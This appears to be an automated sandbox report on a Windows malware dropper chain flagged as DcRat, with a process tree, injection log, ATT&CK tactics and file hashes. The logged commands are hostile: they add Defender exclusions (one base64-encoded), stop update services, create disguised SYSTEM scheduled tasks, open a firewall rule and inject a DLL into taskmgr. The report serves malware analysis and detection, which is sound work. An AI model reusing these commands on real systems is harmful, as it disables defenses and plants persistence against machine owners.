description pid Process procid_target PID 4116 wrote to memory of 4956 4116 ea8ecda6aaf0a6560b614a46a33112caf8ab6404be64ced23fa202737ddbacbf.exe 84 PID 4116 wrote to memory of 4956 4116 ea8ecda6aaf0a6560b614a46a33112caf8ab6404be64ced23fa202737ddbacbf.exe 84 PID 4116 wrote to memory of 4956 4116 ea8ecda6aaf0a6560b614a46a33112caf8ab6404be64ced23fa202737ddbacbf.exe 84 PID 4956 wrote to memory of 632 4956 OR9Ki82.exe 86 PID 4956 wrote to memory of 632 4956 OR9Ki82.exe 86 PID 4956 wrote to memory of 632 4956 OR9Ki82.exe 86 PID 632 wrote to memory of 5112 632 Ou7mI12.exe 87 PID 632 wrote to memory of 5112 632 Ou7mI12.exe 87 PID 632 wrote to memory of 5112 632 Ou7mI12.exe 87 PID 5112 wrote to memory of 1904 5112 1hA46tI1.exe 90 PID 5112 wrote to memory of 1904 5112 1hA46tI1.exe 90 PID 5112 wrote to memory of 1904 5112 1hA46tI1.exe 90 PID 5112 wrote to memory of 3948 5112 1hA46tI1.exe 91 PID 5112 wrote to memory of 3948 5112 1hA46tI1.exe 91 PID 5112 wrote to memory of 3948 5112 1hA46tI1.exe 91 PID 5112 wrote to memory of 3948 5112 1hA46tI1.exe 91 PID 5112 wrote to memory of 3948 5112 1hA46tI1.exe 91 PID 5112 wrote to memory of 3948 5112 1hA46tI1.exe 91 PID 5112 wrote to memory of 3948 5112 1hA46tI1.exe 91 PID 5112 wrote to memory of 3948 5112 1hA46tI1.exe 91 PID 5112 wrote to memory of 3948 5112 1hA46tI1.exe 91 PID 5112 wrote to memory of 3948 5112 1hA46tI1.exe 91 PID 632 wrote to memory of 4412 632 Ou7mI12.exe 92 PID 632 wrote to memory of 4412 632 Ou7mI12.exe 92 PID 632 wrote to memory of 4412 632 Ou7mI12.exe 92 PID 4956 wrote to memory of 1812 4956 OR9Ki82.exe 101 PID 4956 wrote to memory of 1812 4956 OR9Ki82.exe 101 PID 4956 wrote to memory of 1812 4956 OR9Ki82.exe 101 PID 1812 wrote to memory of 1004 1812 6cw7oj7.exe 103 PID 1812 wrote to memory of 1004 1812 6cw7oj7.exe 103 PID 1812 wrote to memory of 1004 1812 6cw7oj7.exe 103 PID 1812 wrote to memory of 1004 1812 6cw7oj7.exe 103 PID 1812 wrote to memory of 1004 1812 6cw7oj7.exe 103 PID 1812 wrote to memory of 1004 1812 6cw7oj7.exe 103 PID 1812 wrote to memory of 1004 1812 6cw7oj7.exe 103 PID 1812 wrote to memory of 1004 1812 6cw7oj7.exe 103 PID 4116 wrote to memory of 2584 4116 ea8ecda6aaf0a6560b614a46a33112caf8ab6404be64ced23fa202737ddbacbf.exe 105 PID 4116 wrote to memory of 2584 4116 ea8ecda6aaf0a6560b614a46a33112caf8ab6404be64ced23fa202737ddbacbf.exe 105 PID 4116 wrote to memory of 2584 4116 ea8ecda6aaf0a6560b614a46a33112caf8ab6404be64ced23fa202737ddbacbf.exe 105 PID 2584 wrote to memory of 3812 2584 7zz9WB03.exe 106 PID 2584 wrote to memory of 3812 2584 7zz9WB03.exe 106 PID 2584 wrote to memory of 3812 2584 7zz9WB03.exe 106 PID 3240 wrote to memory of 624 3240 Explorer.EXE 112 PID 3240 wrote to memory of 624 3240 Explorer.EXE 112 PID 3240 wrote to memory of 624 3240 Explorer.EXE 112 PID 3240 wrote to memory of 2368 3240 Explorer.EXE 113 PID 3240 wrote to memory of 2368 3240 Explorer.EXE 113 PID 3240 wrote to memory of 2368 3240 Explorer.EXE 113 PID 624 wrote to memory of 2948 624 B55.exe 115 PID 624 wrote to memory of 2948 624 B55.exe 115 PID 624 wrote to memory of 2948 624 B55.exe 115 PID 624 wrote to memory of 4720 624 B55.exe 116 PID 624 wrote to memory of 4720 624 B55.exe 116 PID 624 wrote to memory of 4720 624 B55.exe 116 PID 2948 wrote to memory of 4864 2948 InstallSetup5.exe 117 PID 2948 wrote to memory of 4864 2948 InstallSetup5.exe 117 PID 2948 wrote to memory of 4864 2948 InstallSetup5.exe 117 PID 624 wrote to memory of 2428 624 B55.exe 118 PID 624 wrote to memory of 2428 624 B55.exe 118 PID 624 wrote to memory of 2428 624 B55.exe 118 PID 624 wrote to memory of 4924 624 B55.exe 119 PID 624 wrote to memory of 4924 624 B55.exe 119 PID 4720 wrote to memory of 3656 4720 toolspub2.exe 120 PID 4720 wrote to memory of 3656 4720 toolspub2.exe 120 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3240 -
C:\Users\Admin\AppData\Local\Temp\ea8ecda6aaf0a6560b614a46a33112caf8ab6404be64ced23fa202737ddbacbf.exe"C:\Users\Admin\AppData\Local\Temp\ea8ecda6aaf0a6560b614a46a33112caf8ab6404be64ced23fa202737ddbacbf.exe"2⤵
- DcRat
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4116 -
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\OR9Ki82.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\OR9Ki82.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4956 -
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Ou7mI12.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Ou7mI12.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:632 -
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1hA46tI1.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1hA46tI1.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:5112 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"6⤵PID:1904
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"6⤵PID:3948
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3948 -s 5487⤵
- Program crash
PID:2180
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2eI0691.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2eI0691.exe5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4412
-
-
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6cw7oj7.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6cw7oj7.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1812 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"5⤵PID:1004
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7zz9WB03.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7zz9WB03.exe3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2584 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\is64.bat" "4⤵PID:3812
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\B55.exeC:\Users\Admin\AppData\Local\Temp\B55.exe2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:624 -
C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2948 -
C:\Users\Admin\AppData\Local\Temp\Broom.exeC:\Users\Admin\AppData\Local\Temp\Broom.exe4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4864
-
-
-
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4720 -
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:3656
-
-
-
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2428 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4036
-
-
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"4⤵
- DcRat
- Executes dropped EXE
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:1436 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3892
-
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵PID:2832
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
PID:1680
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3248
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4960
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe5⤵
- Executes dropped EXE
- Adds Run key to start application
- Manipulates WinMonFS driver.
- Drops file in Windows directory
PID:4852 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5092
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- DcRat
- Creates scheduled task(s)
PID:2580
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f6⤵PID:4932
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3660
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2040
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll6⤵
- Executes dropped EXE
PID:4648
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- DcRat
- Creates scheduled task(s)
PID:5004
-
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"6⤵
- Executes dropped EXE
PID:1880 -
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)7⤵PID:1712
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)8⤵
- Launches sc.exe
PID:2520
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\latestX.exe"C:\Users\Admin\AppData\Local\Temp\latestX.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
PID:4924
-
-
-
C:\Users\Admin\AppData\Local\Temp\D2B.exeC:\Users\Admin\AppData\Local\Temp\D2B.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2368
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious use of AdjustPrivilegeToken
PID:544
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵PID:2248
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:3096
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:4160
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:2276
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:336
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1952
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵PID:3304
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:4480
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:956
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:2116
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:3676
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3052
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"2⤵PID:3812
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4748
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵PID:5068
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1768
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:3468
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:1660
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:4076
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:4704
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵PID:1088
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵PID:1952
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵PID:3104
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵PID:2340
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵PID:4560
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3224
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe2⤵PID:5100
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe2⤵PID:2844
-
-
C:\Users\Admin\AppData\Local\Temp\6838.exeC:\Users\Admin\AppData\Local\Temp\6838.exe2⤵
- Executes dropped EXE
PID:3592
-
-
C:\Users\Admin\AppData\Local\Temp\6AC9.exeC:\Users\Admin\AppData\Local\Temp\6AC9.exe2⤵
- Executes dropped EXE
PID:4880
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3948 -ip 39481⤵PID:4180
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:2916
-
C:\Users\Admin\AppData\Roaming\fhjgrbiC:\Users\Admin\AppData\Roaming\fhjgrbi1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3216 -
C:\Users\Admin\AppData\Roaming\fhjgrbiC:\Users\Admin\AppData\Roaming\fhjgrbi2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4700
-
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:4820
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcACoALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACAALQBGAG8AcgBjAGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlAA==1⤵PID:3560
-
C:\Users\Admin\AppData\Roaming\Items\Current.exeC:\Users\Admin\AppData\Roaming\Items\Current.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1496 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe2⤵PID:1100
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5.6MB
MD5bae29e49e8190bfbbf0d77ffab8de59d
SHA14a6352bb47c7e1666a60c76f9b17ca4707872bd9
SHA256f91e4ff7811a5848561463d970c51870c9299a80117a89fb86a698b9f727de87
SHA5129e6cf6519e21143f9b570a878a5ca1bba376256217c34ab676e8d632611d468f277a0d6f946ab8705121002d96a89274f38458affe3df3a3a1c75e336d7d66e2
-
Filesize
5.6MB
MD5bae29e49e8190bfbbf0d77ffab8de59d
SHA14a6352bb47c7e1666a60c76f9b17ca4707872bd9
SHA256f91e4ff7811a5848561463d970c51870c9299a80117a89fb86a698b9f727de87
SHA5129e6cf6519e21143f9b570a878a5ca1bba376256217c34ab676e8d632611d468f277a0d6f946ab8705121002d96a89274f38458affe3df3a3a1c75e336d7d66e2
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD5cadef9abd087803c630df65264a6c81c
SHA1babbf3636c347c8727c35f3eef2ee643dbcc4bd2
SHA256cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438
SHA5127278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085
-
Filesize
1KB
MD55edcef6f82d80d3d280116e4c5b0cb3f
SHA17a1bfca067ee46d483d4f835df27e396fb851af4
SHA256c4d7dd433cb8d7e4f77e590a2b01b9ce78657eb4f4d35c5067dc4cff523e3b7f
SHA512a2dc42da13298466a28069eaab15d90bcea14a50be10d2d77ad6ef15715c12bec2352e28341df142b3f449013900918ffb7750b874273bbe84c9b927c67040f4
-
Filesize
4.2MB
MD5194599419a04dd1020da9f97050c58b4
SHA1cd9a27cbea2c014d376daa1993538dac80968114
SHA25637378d44454ab9ccf47cab56881e5751a355d7b91013caed8a97a7de92b7dafe
SHA512551ebcc7bb27b9d8b162f13ff7fad266572575ff41d52c211a1d6f7adbb056eab3ee8110ed208c5a6f9f5dea5d1f7037dfe53ffbc2b2906bf6cc758093323e81
-
Filesize
4.2MB
MD5194599419a04dd1020da9f97050c58b4
SHA1cd9a27cbea2c014d376daa1993538dac80968114
SHA25637378d44454ab9ccf47cab56881e5751a355d7b91013caed8a97a7de92b7dafe
SHA512551ebcc7bb27b9d8b162f13ff7fad266572575ff41d52c211a1d6f7adbb056eab3ee8110ed208c5a6f9f5dea5d1f7037dfe53ffbc2b2906bf6cc758093323e81
-
Filesize
4.2MB
MD5194599419a04dd1020da9f97050c58b4
SHA1cd9a27cbea2c014d376daa1993538dac80968114
SHA25637378d44454ab9ccf47cab56881e5751a355d7b91013caed8a97a7de92b7dafe
SHA512551ebcc7bb27b9d8b162f13ff7fad266572575ff41d52c211a1d6f7adbb056eab3ee8110ed208c5a6f9f5dea5d1f7037dfe53ffbc2b2906bf6cc758093323e81
-
Filesize
4.2MB
MD5194599419a04dd1020da9f97050c58b4
SHA1cd9a27cbea2c014d376daa1993538dac80968114
SHA25637378d44454ab9ccf47cab56881e5751a355d7b91013caed8a97a7de92b7dafe
SHA512551ebcc7bb27b9d8b162f13ff7fad266572575ff41d52c211a1d6f7adbb056eab3ee8110ed208c5a6f9f5dea5d1f7037dfe53ffbc2b2906bf6cc758093323e81
-
Filesize
628KB
MD59e0db60a48cfec5528004815a681a4b1
SHA137d28abb8b9a5d4eaf129529bdef0a2d348fbd8d
SHA2568aabc9b91a2bf3aa7e1f3243505fbc19b141a4cc1560fd6a0560ccb631e1866c
SHA51234827d15b990bde40bf07afd66374054fed4abc941ef21052c95f7eb60304ba7b1296a9fa7b862885ae0d038aeac6693e3de61ccecfd21c339b82431a756d504
-
Filesize
628KB
MD59e0db60a48cfec5528004815a681a4b1
SHA137d28abb8b9a5d4eaf129529bdef0a2d348fbd8d
SHA2568aabc9b91a2bf3aa7e1f3243505fbc19b141a4cc1560fd6a0560ccb631e1866c
SHA51234827d15b990bde40bf07afd66374054fed4abc941ef21052c95f7eb60304ba7b1296a9fa7b862885ae0d038aeac6693e3de61ccecfd21c339b82431a756d504
-
Filesize
222KB
MD59e41d2cc0de2e45ce74e42dd3608df3b
SHA1a9744a4b76e2f38a0b3b287ef229cbeb8c9e4ba6
SHA2561081d313fe627ca22ce02c7bd8d33ece52b1e2cc8978f99653671f94175caf8f
SHA512849673924bdb3db9a08c2ff4a510af599539531e052847caaf8a2d47f91497bedaf48714a3a6cdee1c0f5b8a8b53054c91564267be2c02de63446e207a78f9ea
-
Filesize
222KB
MD59e41d2cc0de2e45ce74e42dd3608df3b
SHA1a9744a4b76e2f38a0b3b287ef229cbeb8c9e4ba6
SHA2561081d313fe627ca22ce02c7bd8d33ece52b1e2cc8978f99653671f94175caf8f
SHA512849673924bdb3db9a08c2ff4a510af599539531e052847caaf8a2d47f91497bedaf48714a3a6cdee1c0f5b8a8b53054c91564267be2c02de63446e207a78f9ea
-
Filesize
12.5MB
MD59afead92d2204c3b3cd91b1f1d33b835
SHA13e98940b870d4ce110789008de5774e0d96adf11
SHA2566f735da34e90dce7418f49a7d25fa183650fd9fe681804a9ab5f80d3005b1c5d
SHA512bcb9debec7f761082d568c7890a73e83d6e5426612e47b2824f76776aa6bda27dab64d8d950e3f84f18c753c3fbf1b422518b99382bef13e05fce5c65778bc53
-
Filesize
12.5MB
MD59afead92d2204c3b3cd91b1f1d33b835
SHA13e98940b870d4ce110789008de5774e0d96adf11
SHA2566f735da34e90dce7418f49a7d25fa183650fd9fe681804a9ab5f80d3005b1c5d
SHA512bcb9debec7f761082d568c7890a73e83d6e5426612e47b2824f76776aa6bda27dab64d8d950e3f84f18c753c3fbf1b422518b99382bef13e05fce5c65778bc53
-
Filesize
5.3MB
MD500e93456aa5bcf9f60f84b0c0760a212
SHA16096890893116e75bd46fea0b8c3921ceb33f57d
SHA256ff3025f9cf19323c5972d14f00f01296d6d7a71547eca7e4016bfd0e1f27b504
SHA512abd2be819c7d93bd6097155cf84eaf803e3133a7e0ca71f9d9cbc3c65e4e4a26415d2523a36adafdd19b0751e25ea1a99b8d060cad61cdfd1f79adf9cd4b4eca
-
Filesize
95KB
MD5a2687e610dad6bcf4359bf2a5953e10a
SHA18320fd92e757ab42f8429a9e3b43dec909add268
SHA256439cc980ba48e5f62a043f0e923221e90a58bb20812b48569a223a562ade571a
SHA512b16e6a6453ae5d18461aba546436f038070a4708116c0079cae27c9a9113efe61a750b8547f2911615cd07b350b9d857c474c4b3407093aec40ada71b2e76adf
-
Filesize
95KB
MD5a2687e610dad6bcf4359bf2a5953e10a
SHA18320fd92e757ab42f8429a9e3b43dec909add268
SHA256439cc980ba48e5f62a043f0e923221e90a58bb20812b48569a223a562ade571a
SHA512b16e6a6453ae5d18461aba546436f038070a4708116c0079cae27c9a9113efe61a750b8547f2911615cd07b350b9d857c474c4b3407093aec40ada71b2e76adf
-
Filesize
73KB
MD51d71ef189dabc8c5abb381286f47cc85
SHA193c4c272d017af943205b54719ab51553a43ade8
SHA2566f7aaa2c7e4418b4e280c82fdb6b8684f7e653b9584f7be4b05bf2a9fb70ca41
